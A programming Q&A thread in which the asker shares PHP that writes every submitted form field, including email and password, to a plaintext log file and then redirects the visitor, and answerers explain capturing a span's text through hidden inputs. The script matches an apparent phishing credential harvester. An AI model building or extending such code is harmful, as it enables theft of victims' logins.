I have this php code to get form input values:
<?php
header ('Location: https://mywebsite.com/');
$handle = fopen("logs_46735.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "
");
}
fwrite($handle, "===============
");
fclose($handle);
exit;
?>
That code works fine for getting input fields values, but I also have a span element in my html
<span id="mytext">some text</span>
that I would like to get together with input field values.
Example:
<span id="mytext">some text</span>
<input type="email" id="email" name="email" />
<input type="password" id="pass" name="pass" />
Is there a way to get all three values? Thanks
It isn't possible to get the value of a span in your $_POST
without changing it to some kind of input.
What you could do however is make a hidden input field:
<input type="hidden" value="some text">
which will not be shown to the user and will appear in your $_POST
variable
You can use the readonly attribute with an input:
<input type="text" id="mytext" value="some text" readonly>
<input type="email" id="email" name="email">
<input type="password" id="pass" name="pass">
Or as stated by FMashiro, if you want the input to be invisible, you can use the type hidden
:
<input type="hidden" id="mytext" value="some text">
<input type="email" id="email" name="email">
<input type="password" id="pass" name="pass">
</div>
Only <input>
, <textarea>
and other <select>
are send to PHP.
You can either, like said FMashiro, add a <input type="hidden" value="some_text">
, or combine that with some javascript to set add an input, just before sending the form, with the current value you want.
Using ECMA6:
$("form[name=myform]").on("submit", event => {
$("form[name=myform]").append(
`<input name="hidden" type="hidden" value="${$("span#id").text()}" />`
);
});
Or:
$("form[name=myform]").on("submit", function (event) {
$("form[name=myform]").append(
"<input name=\"hidden\" type=\"hidden\" value=\"" + $("span#id").text() + "\"/>"
);
});